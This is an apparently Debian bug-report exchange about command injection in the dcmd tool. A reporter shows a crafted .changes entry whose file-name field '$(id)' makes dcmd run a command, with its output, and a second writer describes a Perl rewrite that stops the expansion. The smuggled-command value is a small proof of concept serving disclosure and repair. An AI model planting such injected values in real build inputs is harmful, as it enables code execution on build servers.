hello!

When I read through #1138907 the error message caught my attention and I crafted
a .changes file that executes arbitrary code when processed:
  ffffffffffffffffffffffffffffffff 1337 abc optional "$(id)"
--- >8 ---

$ /usr/bin/dcmd echo hax.changes
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo),112(sbuild) hax.changes

This creates an undocumented execution path that may cross security boundaries
on Debian build server infrastructure.

This bug is related to #1138923.

Sincerely,
kpcyrd

Hi,

I may have missed it, but I did not find an easy way to avoid expansions
in current shell script implementation of dcmd.

I started playing with a perl implementation and seems I got something
that is apparently working. It is by far not the best perl you can find
(I wrote it ;-)), but seems to work.

In its current shape it adds some control on allowed extensions and avoids
expansions. (Checked listing "$(id)".deb, all other commands skip it as it
does not exists). It has an additional --debug option I used when writing
things.

Feel free to use it if you find it useful in some way (let me know if you
think is better to use GPL2+), as a proof of concept or whatever else.

Hope this helps,